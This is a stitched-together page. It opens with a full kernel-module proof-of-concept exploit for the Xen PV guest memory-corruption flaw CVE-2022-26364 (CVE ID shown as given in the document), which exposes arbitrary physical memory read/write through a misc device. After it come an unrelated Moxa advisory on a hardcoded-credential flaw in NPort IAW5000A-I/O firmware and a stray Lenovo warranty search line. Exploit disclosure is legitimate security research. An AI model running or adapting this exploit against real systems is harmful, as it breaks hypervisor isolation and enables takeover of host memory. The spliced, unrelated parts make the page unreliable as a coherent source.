incoherent_page_table.c#include <linux/module.h>#include <linux/kernel.h>#include <linux/vmalloc.h>#include <linux/set_memory.h>#include <linux/mm.h>#include <linux/miscdevice.h>#include <asm/cacheflush.h>#include <asm/tlbflush.h>#include <asm/io.h>#include <asm/xen/hypercall.h>#include <asm/xen/page.h>/* first entry in the last L3 pagetable */#define MAPPING_TARGET_ADDR 0xffffff8000000000ULstatic unsigned long *controlled_l1_pte;static void __tlb_flush_everything_local(void *info){  __flush_tlb_all();}static void tlb_flush_everything(void){  on_each_cpu(__tlb_flush_everything_local, NULL, 1);}static ssize_t physmem_rw(char __user *buf, size_t len, loff_t *offp, int is_write){  ssize_t ret = len;  while (len != 0) {    unsigned long offset_in_page = (*offp) & 0xfff;    size_t chunk_len = min_t(size_t, len, 0x1000 - offset_in_page);    void *mapped_addr = (void*)(MAPPING_TARGET_ADDR + offset_in_page);    pr_warn(\"physmem_rw() iteration: len=%lu, off=%lu, chunk_len=%lu\\", (unsigned long)len, (unsigned long)*offp, (unsigned long)chunk_len);    if (signal_pending(current))      return -ERESTARTSYS;    WRITE_ONCE(*controlled_l1_pte, ((unsigned long)(*offp) & ~0xfffUL) | _PAGE_PRESENT | _PAGE_RW | _PAGE_USER);    tlb_flush_everything();    if (is_write) {      *(volatile char *)mapped_addr = 0; // for debugging      if (copy_from_user(mapped_addr, buf, chunk_len))        ret = -EFAULT;    } else {      *(volatile char *)mapped_addr; // for debugging      if (copy_to_user(buf, mapped_addr, chunk_len))        ret = -EFAULT;    }    WRITE_ONCE(*controlled_l1_pte, 0);    tlb_flush_everything();    buf += chunk_len;    len -= chunk_len;    (*offp) += chunk_len;  }  return ret;}static ssize_t physmem_read(struct file *file, char __user *buf, size_t len, loff_t *offp){  return physmem_rw(buf, len, offp, 0);}static ssize_t physmem_write(struct file *file, const char __user *buf, size_t len, loff_t *offp){  return physmem_rw((char __user *)buf, len, offp, 1);}static loff_t my_llseek(struct file *file, loff_t offset, int whence) {  switch (whence) {    case SEEK_CUR:      offset += file->f_pos;      fallthrough;    case SEEK_SET:      file->f_pos = offset;      return file->f_pos;    default:      return -EINVAL;  }}static const struct file_operations physmem_fops = {  .owner = THIS_MODULE,  .read = physmem_read,  .write = physmem_write,  .llseek = my_llseek};static struct miscdevice physmem_miscdev = {  .minor = MISC_DYNAMIC_MINOR,  .name = \"physical_memory\",  .fops = &physmem_fops};static struct page *incoherent_page;static int init_test(void) {  struct page *bogo_l1_page_table;  void *wc_mapping;  pte_t *linear_mapping_ptep;  int level;  pgd_t *pgd = pgd_offset(current->mm, MAPPING_TARGET_ADDR);  p4d_t *p4d = p4d_offset(pgd, MAPPING_TARGET_ADDR);  pud_t *pud = pud_offset(p4d, MAPPING_TARGET_ADDR);  int update_res;  struct mmu_update mmu_update_req;  pr_warn(\"starting incoherent_page_table test\\");  pr_warn(\"old pud: 0x%lx\\", *(unsigned long *)pud);  if (*(unsigned long *)pud != 0) {    pr_warn(\"refusing to clobber existing pte\\");    return -EBUSY;  }  /* allocate a zeroed page, and create a WC mapping of it in vmalloc space */  incoherent_page = alloc_page(GFP_KERNEL | __GFP_ZERO | __GFP_NOFAIL);  wc_mapping = vmap(&incoherent_page, 1, 0, pgprot_writecombine(PAGE_KERNEL));  if (!wc_mapping) {    pr_warn(\"vmap() failed\\");    return -EFAULT;  }  /* allocate a zeroed L1 pagetable (but don't tell Xen we're going to use it   * that way)   */  bogo_l1_page_table = alloc_page(GFP_KERNEL | __GFP_ZERO | __GFP_NOFAIL);  controlled_l1_pte = page_address(bogo_l1_page_table);  /* reset Xen's internal mapping of the page to normal */  set_pages_uc(incoherent_page, 1);  set_pages_wb(incoherent_page, 1);  /* make sure the page's first line is cached but not dirty */  clflush_cache_range(page_address(incoherent_page), PAGE_SIZE);  *(volatile char *)page_address(incoherent_page);  mb();  /* THIS IS WHERE THE MAGIC HAPPENS:   * sneak past the cache and put a PTE in the page   */  *(pmd_t*)wc_mapping = __pmd((virt_to_machine(controlled_l1_pte).maddr | _PAGE_TABLE));  mb();  /* get rid of all our writable mappings */  vunmap(wc_mapping);  linear_mapping_ptep = lookup_address((unsigned long)page_address(incoherent_page), &level);  if (level != PG_LEVEL_4K) {    pr_warn(\"level != PG_LEVEL_4K\\");    return -EFAULT;  }  set_pte(linear_mapping_ptep, pte_wrprotect(*linear_mapping_ptep));  /* Let Xen validate the incoherently clean cache contents.   * We rely on Xen only *reading* the entries for validating them, not writing   * them back.   * Don't use set_pud() here because we want to see the return value.   */  mmu_update_req.ptr = virt_to_machine(pud).maddr | MMU_NORMAL_PT_UPDATE;  mmu_update_req.val = virt_to_machine(page_address(incoherent_page)).maddr | _PAGE_TABLE;  update_res = HYPERVISOR_mmu_update(&mmu_update_req, 1, NULL, DOMID_SELF);  pr_warn(\"load 1: 0x%lx\\", *(unsigned long *)page_address(incoherent_page));  clflush_cache_range(page_address(incoherent_page), PAGE_SIZE);  pr_warn(\"load 2: 0x%lx\\", *(unsigned long *)page_address(incoherent_page));  pr_warn(\"mmu_update returned %d\\", update_res);  if (update_res < 0)    return -EUCLEAN;  if (misc_register(&physmem_miscdev)) {    pr_warn(\"misc_register failed\\");    return -EFAULT;  }  pr_warn(\"enjoy your physical memory read/write!\\");  pr_warn(\"controlled_l1_pte = 0x%lx\\", (unsigned long)controlled_l1_pte);  return 0;}static void exit_test(void) {  misc_deregister(&physmem_miscdev);  WRITE_ONCE(*controlled_l1_pte, virt_to_machine(page_address(incoherent_page)).maddr | _PAGE_PRESENT | _PAGE_RW | _PAGE_USER);  tlb_flush_everything();  *(unsigned long *)(MAPPING_TARGET_ADDR) = 0;  tlb_flush_everything();}module_init(init_test);module_exit(exit_test);MODULE_LICENSE(\"GPL v2\");root@pv-guest:~/incoherent_page_table# cat MakefileKDIR ?= /lib/modules/`uname -r`/builddefault:  $(MAKE) -C $(KDIR) M=$$PWDroot@pv-guest:~/incoherent_page_table# Related CVE Numbers: CVE-2022-26364.Found by: jannh@google.com

Xen PV Guest Non-SELFSNOOP CPU Memory Corruption

NPort IAW5000A-I/O Series firmware version v2.2 and prior is affected by a hardcoded credential vulnerabilitywhich poses a potential risk to the security and integrity of the affected device. This vulnerability is attributed to the presence of a hardcoded key, which could potentially facilitate firmware manipulation.



As of June 15, 2022, this site no longer supports Internet Explorer. Please use another browser for the best experience on our site.

**Please sign in**

**SUMMARY**

**NPort IAW5000A-I/O Series Hardcoded Credential Vulnerability**

*   Security Advisory ID: MPSA-230304
*   Version: V1.0
*   Release Date: Aug 16, 2023
*   Reference:
    *   CVE-2023-4204 (cve.org) 

**CVE-2023-4204** 

A vulnerability has been identified in NPort IAW5000A-I/O Series firmware versions prior to v2.2, which poses a potential risk to the security and integrity of the affected device. 

The identified vulnerability types and potential effects are shown below: 

Item

Vulnerability Type

Impact

1

Use of hardcoded credentials 

(CWE-798) 

This vulnerability is attributed to the presence of a hardcoded key, which could potentially facilitate firmware manipulation. 

**AFFECTED PRODUCTS AND SOLUTIONS**

**Affected Products:**

The affected products and firmware versions are shown below.

Product Series

Affected Versions

NPort IAW5000A-I/O Series 

Firmware version 2.2 and prior 

**Solutions:**

Moxa has developed appropriate solutions to address the vulnerability. The solutions for the affected products are shown below: 

Product Series

Solutions

NPort IAW5000A-I/O Series 

Please contact Moxa Technical Support for the security patch.

**Mitigation:**

Moxa recommends users to follow CISA’s recommendations and do the following to mitigate security vulnerabilities. 

1.  Reduce network exposure by ensuring that all control-system devices and systems are not accessible via the Internet. 
    

2.  Place control-system networks and remote devices behind firewalls, isolating them from business networks. 
    

3.  When remote access is necessary, employ secure methods such as Virtual Private Networks (VPNs). It is important to note that VPNs may have vulnerabilities and should be kept up to date with the latest available version. Remember that the security of a VPN depends on the security of its connected devices. 
    

**Products Confirmed Not Vulnerable:**

Only products listed in the Affected Products section of this advisory are known to be affected by this vulnerability. Moxa has confirmed that this vulnerability does not affect the following products: 

*   NPort 5000 (all series), NPort 6000 (all series), NPort Express Series, NPort IA5000 (all series), NPort P5150A Series, NPort S8000 Series, NPort S9000 (all series) 
    

**Revision History:**

VERSION

DESCRIPTION

RELEASE DATE

1.0

First Release

Aug. 16, 2023

**Relevant Products**

NPort IAW5000A-I/O Series ·

*     Print this page
    
*   You can manage and share your saved list in My Moxa
    

**Related Advisories**

*   NPort IAW5000A-I/O Series Serial Device Servers Vulnerabilities
*   NPort IAW5000A-I/O Series Serial Device Server Vulnerabilities
*   NPort IAW5000A-I/O Series Serial Device Servers Vulnerabilities

**Let’s get that fixed**

If you are concerned about a potential cybersecurity vulnerability, please contact us and one of technical support staff will get in touch with you.

Report a Vulnerability

Search

lenovo warranty check/lookup | check warranty status | lenovo support us